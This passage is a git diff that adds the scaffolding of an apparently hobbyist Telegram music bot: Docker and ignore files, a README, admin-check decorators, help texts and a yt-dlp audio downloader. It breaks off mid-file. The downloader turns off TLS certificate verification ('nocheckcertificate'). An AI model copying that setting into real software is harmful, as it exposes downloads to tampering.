diff --git a/.dockerignore b/.dockerignore new file mode 100644 index 0000000..01960af --- /dev/null +++ b/.dockerignore @@ -0,0 +1,12 @@ +.env +*.log +.git/ +.idea/ +str.py +Procfile +README.md +downloads/ +raw_files/ +.gitignore +runtime.txt +__pycache__/ diff --git a/.github/CODEOWNERS b/.github/CODEOWNERS new file mode 100644 index 0000000..35923a4 --- /dev/null +++ b/.github/CODEOWNERS @@ -0,0 +1 @@ +@export_gabbar diff --git a/.github/README.md b/.github/README.md new file mode 100644 index 0000000..54f61e5 --- /dev/null +++ b/.github/README.md @@ -0,0 +1,102 @@ + +

+ ──「 𝗚𝗝𝟱𝟭𝟲 𝗩𝗰 𝗣𝗹𝗮𝘆𝗲𝗿 」── +

+

+ +

━━━━━━━━━━━━━━━━━━━━ +

+ Stars + Python +

+ ━━━━━━━━━━━━━━━━━━━━ +
+ 𝗥𝗲𝗾𝘂𝗶𝗿𝗲𝗺𝗲𝗻𝘁𝘀 📝 + + - FFmpeg + - NodeJS [nodesource.com](https://nodesource.com/) + - Python 3.7 or higher + - [PyTgCalls](https://github.com/pytgcalls/pytgcalls) +
+
+ 𝗙𝗲𝗮𝘁𝘂𝗿𝗲𝘀 🔮 + + - Yt-dL Fix + - Updated Plug-in + - Super Fast Bot + - No Lag Hang + - Fast Download Song From Server + - Program Updated + - Smooth Player +
+
+ 𝗖𝗼𝗺𝗺𝗮𝗻𝗱𝘀 🛠 + + - `/play ` - play song you requested + - `/song ` - download songs you want quickly + - `/ping` - Bot Online or Offine + + #### Admins Only 👷‍♂️ + +- `/pause` - pause song play + - `/resume` - resume song play + - `/skip` - play next song + - `/end` - stop music play +
+ +
+𝗦𝗲𝘀𝘀𝗶𝗼𝗻 🥀 + +- 🧪 Get `SESSION_NAME` variable: + - [``Pyrogram Session``](https://telegram.me/) +
+ +
+ +𝗗𝗲𝗽𝗹𝗼𝘆𝗺𝗲𝗻𝘁 𝗺𝗲𝘁𝗵𝗼𝗱𝘀 🚀 + + + + ## ᴅᴇᴘʟᴏʏ ᴛᴏ ʜᴇʀᴏᴋᴜ 🚀 + +

+ + The easiest way to host this bot, Deploy on Heroku, Change the app country to Europe (it will help to make the bot more stable). + + ## ᴅᴇᴩʟᴏʏ ᴏɴ ᴏᴋᴛᴇᴛᴏ + +

+ + The second easiest way to host this bot, Deploy on Okteto Cloud + ## ᴅᴇᴘʟᴏʏ ᴏɴ ᴠᴘꜱ ꜱᴇʀᴠᴇʀ's 📡 + +

+ + Checkout [Docs](https://github.com/MrProgrammer72/GJ516Music/wiki) for Detailed Explanation on VPS Deploy +

+ +
+ +━━━━━━━━━━━━━━━━━━━━ + +

+ ─「 sᴜᴩᴩᴏʀᴛ 」─ +

+ +

+ +

+

+ +

+━━━━━━━━━━━━━━━━━━━━ +

+ ─「 ᴄʀᴇᴅɪᴛs 」─ +

+ + - [ᴅᴇᴠᴇʟᴏᴘᴇʀ](https://github.com/MrProgrammer72) ➻ [sᴏᴍᴇᴛʜɪɴɢ](https://github.com/MrProgrammer72/GJ516VCBOT) + -

+ +

+ +━━━━━━━━━━━━━━━━━━━━ diff --git a/.github/dependabot.yml b/.github/dependabot.yml new file mode 100644 index 0000000..6d9b86f --- /dev/null +++ b/.github/dependabot.yml @@ -0,0 +1,11 @@ +version: 2 + updates: + - package-ecosystem: pip +   directory: "/" +   schedule: +     interval: daily +     time: "00:00" +     timezone: "Asia/Kolkata" +   labels: +     - "dependencies" +   open-pull-requests-limit: 50 diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..10bc1e2 --- /dev/null +++ b/.gitignore @@ -0,0 +1,9 @@ +.env +*.log +venv/ +.idea/ +*.session +raw_files/ +downloads/ +__pycache__/ +*.session-journal diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 0000000..0f90d29 --- /dev/null +++ b/Dockerfile @@ -0,0 +1,13 @@ +FROM nikolaik/python-nodejs:python3.9-nodejs18 + +RUN apt-get update -y && apt-get upgrade -y \ + && apt-get install -y --no-install-recommends ffmpeg \ + && apt-get clean \ + && rm -rf /var/lib/apt/lists/* + +COPY . /app/ +WORKDIR /app/ + +RUN pip3 install --no-cache-dir --upgrade --requirement requirements.txt + +CMD bash GJ516 diff --git a/GJ516 b/GJ516 new file mode 100644 index 0000000..68f26ef --- /dev/null +++ b/GJ516 @@ -0,0 +1 @@ +python3 -m GJ516Music diff --git a/GJ516Music/Helpers/__init__.py b/GJ516Music/Helpers/__init__.py new file mode 100644 index 0000000..df41afd --- /dev/null +++ b/GJ516Music/Helpers/__init__.py @@ -0,0 +1,32 @@ +# MIT License +# +# Copyright (c) 2023 MrProgrammer72 +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. + +from .active import * +from .admins import * +from .clear import _clear_ +from .dossier import * +from .errors import * +from .formatters import * +from .gets import * +from .inline import * +from .queue import * +from .thumbnails import * diff --git a/GJ516Music/Helpers/active.py b/GJ516Music/Helpers/active.py new file mode 100644 index 0000000..c552aee --- /dev/null +++ b/GJ516Music/Helpers/active.py @@ -0,0 +1,60 @@ +# MIT License +# +# Copyright (c) 2023 MrProgrammer72 +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. + +active = [] +stream = {} + + +async def is_active_chat(chat_id: int) -> bool: + if chat_id not in active: + return False + else: + return True + + +async def add_active_chat(chat_id: int): + if chat_id not in active: + active.append(chat_id) + + +async def remove_active_chat(chat_id: int): + if chat_id in active: + active.remove(chat_id) + + +async def get_active_chats() -> list: + return active + + +async def is_streaming(chat_id: int) -> bool: + run = stream.get(chat_id) + if not run: + return False + return run + + +async def stream_on(chat_id: int): + stream[chat_id] = True + + +async def stream_off(chat_id: int): + stream[chat_id] = False diff --git a/GJ516Music/Helpers/admins.py b/GJ516Music/Helpers/admins.py new file mode 100644 index 0000000..7c76d56 --- /dev/null +++ b/GJ516Music/Helpers/admins.py @@ -0,0 +1,91 @@ +# MIT License +# +# Copyright (c) 2023 MrProgrammer72 +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. + +from typing import Callable + +from pyrogram.enums import ChatMemberStatus +from pyrogram.types import CallbackQuery, Message + +from GJ516Music import SUDOERS, app + +from .active import is_active_chat + + +def admin_check(func: Callable) -> Callable: + async def non_admin(_, message: Message): + if not await is_active_chat(message.chat.id): + return await message.reply_text("𝘽𝙤𝙩 𝙞𝙨 𝙉𝙤𝙩 𝙎𝙩𝙧𝙚𝙖𝙢𝙞𝙣𝙜 𝙊𝙣 𝙑𝙞𝙙𝙚𝙤𝙘𝙝𝙖𝙩") + + if message.from_user.id in SUDOERS: + return await func(_, message) + + check = await app.get_chat_member(message.chat.id, message.from_user.id) + if check.status not in [ChatMemberStatus.OWNER, ChatMemberStatus.ADMINISTRATOR]: + return await message.reply_text( + "𝙔𝙤𝙪'𝙖𝙧𝙚 𝙉𝙤𝙩 𝘼𝙣 𝙅𝙖𝙮 𝘼𝙙𝙢𝙞𝙣, 𝙋𝙡𝙚𝙖𝙨𝙚 𝙎𝙩𝙖𝙮 𝙄𝙣 𝙔𝙤𝙪𝙧 𝙇𝙞𝙢𝙞𝙩𝙨." + ) + + admin = ( + await app.get_chat_member(message.chat.id, message.from_user.id) + ).privileges + if admin.can_manage_video_chats: + return await func(_, message) + else: + return await message.reply_text( + "𝙔𝙤𝙪 𝘿𝙤𝙣'𝙩 𝙃𝙖𝙫𝙚 𝙋𝙚𝙧𝙢𝙞𝙨𝙨𝙞𝙤𝙣 𝙏𝙤 𝙈𝙖𝙣𝙖𝙜𝙚 𝙑𝙞𝙙𝙚𝙤𝘾𝙝𝙖𝙩𝙨, 𝙋𝙡𝙚𝙖𝙨𝙚 𝙎𝙩𝙖𝙮 𝙄𝙣 𝙔𝙤𝙪𝙧 𝙇𝙞𝙢𝙞𝙩𝙨" + ) + + return non_admin + + +def admin_check_cb(func: Callable) -> Callable: + async def cb_non_admin(_, query: CallbackQuery): + if not await is_active_chat(query.message.chat.id): + return await query.answer( + "𝘽𝙤𝙩 𝙞𝙨 𝙉𝙤𝙩 𝙎𝙩𝙧𝙚𝙖𝙢𝙞𝙣𝙜 𝙊𝙣 𝙑𝙞𝙙𝙚𝙤𝙘𝙝𝙖𝙩", show_alert=True + ) + + if query.from_user.id in SUDOERS: + return await func(_, query) + + try: + check = await app.get_chat_member(query.message.chat.id, query.from_user.id) + except: + return + if check.status not in [ChatMemberStatus.OWNER, ChatMemberStatus.ADMINISTRATOR]: + return await query.answer( + "𝙔𝙤𝙪'𝙖𝙧𝙚 𝙉𝙤𝙩 𝘼𝙣 𝙅𝙖𝙮 𝘼𝙙𝙢𝙞𝙣, 𝙋𝙡𝙚𝙖𝙨𝙚 𝙎𝙩𝙖𝙮 𝙄𝙣 𝙔𝙤𝙪𝙧 𝙇𝙞𝙢𝙞𝙩𝙨.", + show_alert=True, + ) + + admin = ( + await app.get_chat_member(query.message.chat.id, query.from_user.id) + ).privileges + if admin.can_manage_video_chats: + return await func(_, query) + else: + return await query.answer( + "𝙔𝙤𝙪 𝘿𝙤𝙣'𝙩 𝙃𝙖𝙫𝙚 𝙋𝙚𝙧𝙢𝙞𝙨𝙨𝙞𝙤𝙣 𝙏𝙤 𝙈𝙖𝙣𝙖𝙜𝙚 𝙑𝙞𝙙𝙚𝙤𝘾𝙝𝙖𝙩𝙨, 𝙋𝙡𝙚𝙖𝙨𝙚 𝙎𝙩𝙖𝙮 𝙄𝙣 𝙔𝙤𝙪𝙧 𝙇𝙞𝙢𝙞𝙩𝙨", + show_alert=True, + ) + + return cb_non_admin diff --git a/GJ516Music/Helpers/clear.py b/GJ516Music/Helpers/clear.py new file mode 100644 index 0000000..e565c9c --- /dev/null +++ b/GJ516Music/Helpers/clear.py @@ -0,0 +1,32 @@ +# MIT License +# +# Copyright (c) 2023 MrProgrammer72 +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. + +from GJ516Music import GJ516db +from GJ516Music.Helpers import remove_active_chat + + +async def _clear_(chat_id): + try: + GJ516db[chat_id] = [] + await remove_active_chat(chat_id) + except: + return diff --git a/GJ516Music/Helpers/dossier.py b/GJ516Music/Helpers/dossier.py new file mode 100644 index 0000000..47adce9 --- /dev/null +++ b/GJ516Music/Helpers/dossier.py @@ -0,0 +1,83 @@ +# MIT License +# +# Copyright (c) 2023 MrProgrammer72 +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. + +from GJ516Music import BOT_NAME + +PM_START_TEXT = """ +𝙃𝙚𝙮 {0}, +   𝙏𝙝𝙞𝙨 𝙞𝙨** {1} ! + +𝘼 𝙁𝙖𝙨𝙩 𝘼𝙣𝙙 𝙋𝙤𝙬𝙚𝙧𝙛𝙪𝙡 𝙈𝙪𝙨𝙞𝙘 𝙋𝙡𝙖𝙮𝙚𝙧 𝘽𝙤𝙩. +𝙄 𝘾𝘼𝙉 𝙋𝙇𝘼𝙔 𝙈𝙐𝙎𝙄𝘾 𝙄𝙉 𝙔𝙊𝙐𝙍 𝙎𝙐𝙋𝙀𝙍𝙂𝙍𝙊𝙐𝙋 + """ + +START_TEXT = """ +**𝙃𝙚𝙮** {0}, 🥀 + {1} 𝘾𝙖𝙣 𝙉𝙤𝙬 𝙋𝙡𝙖𝙮 𝙎𝙤𝙣𝙜 𝙄𝙣 {2}. + +────────────────── +➻ 𝙁𝙤𝙧 𝙂𝙚𝙩𝙩𝙞𝙣𝙜 𝙃𝙚𝙡𝙥 𝘼𝙗𝙤𝙪𝙩 𝙈𝙚 𝙊𝙧 𝙄𝙛 𝙔𝙤𝙪 𝙒𝙖𝙣𝙣𝙖 𝘼𝙨𝙠 𝙎𝙤𝙢𝙚𝙩𝙝𝙞𝙣𝙜 𝙔𝙤𝙪 𝘾𝙖𝙣 𝙅𝙤𝙞𝙣 𝙈𝙮 [𝙂𝙧𝙤𝙪𝙥](https://t.me/GJ516_DISCUSS_GROUP) +""" + +HELP_TEXT = f""" + **𝗔𝘃𝗮𝗶𝗹𝗮𝗯𝗹𝗲 𝗖𝗼𝗺𝗺𝗮𝗻𝗱𝘀 𝗙𝗼𝗿 𝗨𝘀𝗲𝗿𝘀 𝗜𝗻 {BOT_NAME} :** + +❏ /play : 𝙎𝙩𝙖𝙧𝙩𝙨 𝙎𝙩𝙧𝙚𝙖𝙢𝙞𝙣𝙜 𝙏𝙝𝙚 𝙍𝙚𝙦𝙪𝙚𝙨𝙩𝙚𝙙 𝙏𝙧𝙖𝙘𝙠 𝙊𝙣 𝙑𝙞𝙙𝙚𝙤𝘾𝙝𝙖𝙩. +❏ /pause : 𝙋𝙖𝙪𝙨𝙚 𝙩𝙝𝙚 𝘾𝙪𝙧𝙧𝙚𝙣𝙩 𝙋𝙡𝙖𝙮𝙞𝙣𝙜 𝙎𝙩𝙧𝙚𝙖𝙢. +❏ /resume : 𝙍𝙚𝙨𝙪𝙢𝙚 𝙩𝙝𝙚 𝙋𝙖𝙪𝙨𝙚𝙙 𝙨𝙩𝙧𝙚𝙖𝙢. +❏ /skip : 𝙎𝙠𝙞𝙥 𝙩𝙝𝙚 𝘾𝙪𝙧𝙧𝙚𝙣𝙩 𝙋𝙡𝙖𝙮𝙞𝙣𝙜 𝙎𝙩𝙧𝙚𝙖𝙢 𝘼𝙣𝙙 𝙎𝙩𝙖𝙧𝙩 𝙎𝙩𝙧𝙚𝙖𝙢𝙞𝙣𝙜 𝙏𝙝𝙚 𝙉𝙚𝙭𝙩 𝙏𝙧𝙖𝙘𝙠 𝙄𝙣 𝙌𝙪𝙚𝙪𝙚. +❏ /end : 𝘾𝙡𝙚𝙖𝙧𝙨 𝙩𝙝𝙚 𝙌𝙪𝙚𝙪𝙚 𝘼𝙣𝙙 𝙏𝙝𝙚 𝘾𝙪𝙧𝙧𝙚𝙣𝙩 𝙋𝙡𝙖𝙮𝙞𝙣𝙜 𝙎𝙩𝙧𝙚𝙖𝙢. + +❏ /ping : 𝙎𝙝𝙤𝙬 𝙩𝙝𝙚 𝙋𝙞𝙣𝙜 𝘼𝙣𝙙 𝙎𝙮𝙨𝙩𝙚𝙢 𝙎𝙩𝙖𝙩𝙨 𝙤𝙛 𝙏𝙝𝙚 𝘽𝙤𝙩. +❏ /sudolist : 𝙎𝙝𝙤𝙬𝙨 𝙩𝙝𝙚 𝙇𝙞𝙨𝙩 𝙤𝙛 𝙎𝙪𝙙𝙤 𝙐𝙨𝙚𝙧𝙨 𝙊𝙛 𝙩𝙝𝙚 𝘽𝙤𝙩. + +❏ /song : 𝘿𝙤𝙬𝙣𝙡𝙤𝙖𝙙𝙨 𝙩𝙝𝙚 𝙍𝙚𝙦𝙪𝙚𝙨𝙩𝙚𝙙 𝙎𝙤𝙣𝙜 𝘼𝙣𝙙 𝙎𝙚𝙣𝙙 𝙞𝙩 𝙏𝙤 𝙮𝙤𝙪 + +❏ /search : 𝙎𝙚𝙖𝙧𝙘𝙝 𝙩𝙝𝙚 𝙂𝙞𝙫𝙚𝙣 𝙌𝙪𝙚𝙧𝙮 𝙊𝙣 𝙔𝙤𝙪𝙏𝙪𝙗𝙚 𝙖𝙣𝙙 𝙎𝙝𝙤𝙬 𝙮𝙤𝙪 𝙏𝙝𝙚 𝙍𝙚𝙨𝙪𝙡𝙩𝙨 +""" + +HELP_SUDO = f""" + **𝗦𝘂𝗱𝗼 𝗖𝗼𝗺𝗺𝗮𝗻𝗱𝘀 𝗜𝗻 {BOT_NAME} :** + +❏ /activevc : 𝙎𝙝𝙤𝙬𝙨 𝙩𝙝𝙚 𝙇𝙞𝙨𝙩 𝙤𝙛 𝘾𝙪𝙧𝙧𝙚𝙣𝙩𝙡𝙮 𝘼𝙘𝙩𝙞𝙫𝙚 𝙑𝙤𝙞𝙘𝙚 𝙘𝙝𝙖𝙩. 𝙎𝙝𝙤𝙬𝙨 𝙩𝙝𝙚 𝙇𝙞𝙨𝙩 𝙤𝙛 𝘾𝙪𝙧𝙧𝙚𝙣𝙩𝙡𝙮. +❏ /eval or /sh : 𝙍𝙪𝙣𝙨 𝙩𝙝𝙚 𝙂𝙞𝙫𝙚𝙣 𝘾𝙤𝙙𝙚 𝙊𝙣 𝙩𝙝𝙚 𝘽𝙤𝙩'𝙨 𝙏𝙚𝙧𝙢𝙞𝙣𝙖𝙡 +❏ /speedtest : 𝙍𝙪𝙣𝙨 𝘼 𝙎𝙥𝙚𝙚𝙙𝙏𝙚𝙨𝙩 𝙊𝙣 𝙩𝙝𝙚 𝘽𝙤𝙩'𝙨 𝙎𝙚𝙧𝙫𝙚𝙧. +❏ /sysstats : 𝙎𝙝𝙤𝙬𝙨 𝙏𝙝𝙚 𝙎𝙮𝙨𝙩𝙚𝙢 𝙎𝙩𝙖𝙩𝙨 𝙊𝙛 𝙩𝙝𝙚 𝘽𝙤𝙩'𝙨. + + +❏ /setname : [𝙏𝙚𝙭𝙩 𝙊𝙧 𝙧𝙚𝙥𝙡𝙮 𝙩𝙤 𝙖 𝙩𝙚𝙭𝙩] : 𝘾𝙝𝙖𝙣𝙜𝙚 𝙩𝙝𝙚 𝘼𝙨𝙨𝙞𝙨𝙩𝙖𝙣𝙩 𝘼𝙘𝙘𝙤𝙪𝙣𝙩 𝙉𝙖𝙢𝙚. +❏ /setbio : [𝙏𝙚𝙭𝙩 𝙊𝙧 𝙧𝙚𝙥𝙡𝙮 𝙩𝙤 𝙖 𝙩𝙚𝙭𝙩] : 𝘾𝙝𝙖𝙣𝙜𝙚 𝙩𝙝𝙚 𝘽𝙞𝙤 𝙤𝙛 𝙏𝙝𝙚 𝘼𝙨𝙨𝙞𝙨𝙩𝙖𝙣𝙩 𝘼𝙘𝙘𝙤𝙪𝙣𝙩. +❏ /setpfp [𝙍𝙚𝙥𝙡𝙮 𝙩𝙤 𝙖 𝙋𝙝𝙤𝙩𝙤 ] : 𝘾𝙝𝙖𝙣𝙜𝙚 𝙩𝙝𝙚 𝙋𝙛𝙋 𝙤𝙛 𝙩𝙝𝙚 𝘼𝙨𝙨𝙞𝙨𝙩𝙖𝙣𝙩 𝘼𝙘𝙘𝙤𝙪𝙣𝙩. + +❏ /delpfp : 𝘿𝙚𝙡𝙚𝙩𝙚 𝙩𝙝𝙚 𝘾𝙪𝙧𝙧𝙚𝙣𝙩 𝙋𝙛𝙋 𝙤𝙛 𝙏𝙝𝙚 𝘼𝙨𝙨𝙞𝙨𝙩𝙖𝙣𝙩 𝘼𝙘𝙘𝙤𝙪𝙣𝙩. +""" + +HELP_DEV = f""" +**𝗢𝘄𝗻𝗲𝗿 𝗖𝗼𝗺𝗺𝗮𝗻𝘀 𝗶𝗻 {BOT_NAME} :** + +❏ /config : 𝙏𝙤 𝙜𝙚𝙩 𝘼𝙡𝙡 𝘾𝙤𝙣𝙛𝙞𝙜 𝙑𝙖𝙧𝙞𝙖𝙗𝙡𝙚𝙨 𝙊𝙧 𝘽𝙤𝙩. +❏ /broadcast : [𝙈𝙚𝙨𝙨𝙖𝙜𝙚 𝙤𝙛 𝙧𝙚𝙥𝙡𝙮 𝙩𝙤 𝙖 𝙈𝙖𝙨𝙨𝙖𝙜𝙚] : 𝘽𝙧𝙤𝙖𝙙𝙘𝙖𝙨𝙩 𝙩𝙝𝙚 𝙈𝙖𝙨𝙨𝙖𝙜𝙚 𝙏𝙤 𝙎𝙚𝙧𝙫𝙚𝙙 𝘾𝙝𝙖𝙩𝙨 𝙊𝙛 𝙏𝙝𝙚 𝘽𝙤𝙩𝙨. +❏ /rmdownloads : 𝘾𝙡𝙚𝙖𝙧𝙨 𝙩𝙝𝙚 𝘾𝙖𝙘𝙝𝙚 𝙁𝙞𝙡𝙚𝙨 𝘿𝙤𝙬𝙣𝙡𝙤𝙖𝙙 𝙊𝙣 𝙩𝙝𝙚 𝘽𝙤𝙩'𝙨 𝙎𝙚𝙧𝙫𝙚𝙧. +❏ /leaveall : 𝙊𝙧𝙙𝙚𝙧𝙨 𝙩𝙝𝙚 𝘼𝙨𝙨𝙞𝙨𝙩𝙖𝙣𝙩 𝘼𝙘𝙘𝙤𝙪𝙣𝙩 𝙏𝙤 𝙇𝙚𝙖𝙫𝙚 𝘼𝙡𝙡 𝘾𝙝𝙖𝙩𝙨. +❏ /addsudo : [𝙐𝙨𝙚𝙧𝙣𝙖𝙢𝙚 𝙤𝙧 𝙧𝙚𝙥𝙡𝙮 𝙩𝙤 𝘼 𝙐𝙨𝙚𝙧] : 𝘼𝙙𝙙 𝙏𝙝𝙚 𝙐𝙨𝙚𝙧 𝙩𝙤 𝙎𝙪𝙙𝙤 𝙐𝙨𝙚𝙧𝙨 𝙇𝙞𝙨𝙩. +❏ /rmsudo : [𝙐𝙨𝙚𝙧𝙣𝙖𝙢𝙚 𝙤𝙧 𝙧𝙚𝙥𝙡𝙮 𝙩𝙤 𝘼 𝙐𝙨𝙚𝙧] : 𝙍𝙚𝙢𝙤𝙫𝙚 𝙩𝙝𝙚 𝙐𝙨𝙚𝙧 𝙁𝙧𝙤𝙢 𝙎𝙪𝙙𝙤 𝙐𝙨𝙚𝙧𝙨 𝙇𝙞𝙨𝙩. +""" diff --git a/GJ516Music/Helpers/downloaders.py b/GJ516Music/Helpers/downloaders.py new file mode 100644 index 0000000..0289604 --- /dev/null +++ b/GJ516Music/Helpers/downloaders.py @@ -0,0 +1,52 @@ +# MIT License +# +# Copyright (c) 2023 MrProgrammer72 +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. + +import os + +from yt_dlp import YoutubeDL + +ydl_opts = { + "format": "bestaudio/best", + "outtmpl": "downloads/%(id)s.%(ext)s", + "geo_bypass": True, + "nocheckcertificate": True, + "quiet": True, + "no_warnings": True, + "prefer_ffmpeg": True, + "postprocessors": [ + { + "key": "FFmpegExtractAudio", + "preferredcodec": "mp3", + "preferredquality": "320", + } + ], +} +ydl = YoutubeDL(ydl_opts) + + +def audio_dl(url: str) -> str: + sin = ydl.extract_info(url, False) + x_file = os.path.join("downloads", f"{sin['id']}.mp3") + if os.path.exists(x_file): + return x_file + ydl.download([url]) + return x_file diff --git a/GJ516Music/Helpers/errors.py b/GJ516Music/Helpers/errors.py new file mode 100644 index 0000000..ef8707c --- /dev/null +++ b/GJ516Music/Helpers/errors.py @@ -0,0 +1,29 @@ +# MIT License +# +# Copyright (c) 2023 MrProgrammer72 +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. + + +class DurationLimitError(Exception): + pass + + +class FFmpegReturnCodeError(Exception): + pass diff --git a/GJ516Music/Helpers/formatters.py b/GJ516Music/Helpers/formatters.py new file mode 100644 index 0000000..f8a65a6 --- /dev/null +++ b/GJ516Music/Helpers/formatters.py @@ -0,0 +1,45 @@ +# MIT License +# +# Copyright (c) 2023 MrProgrammer72 +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE 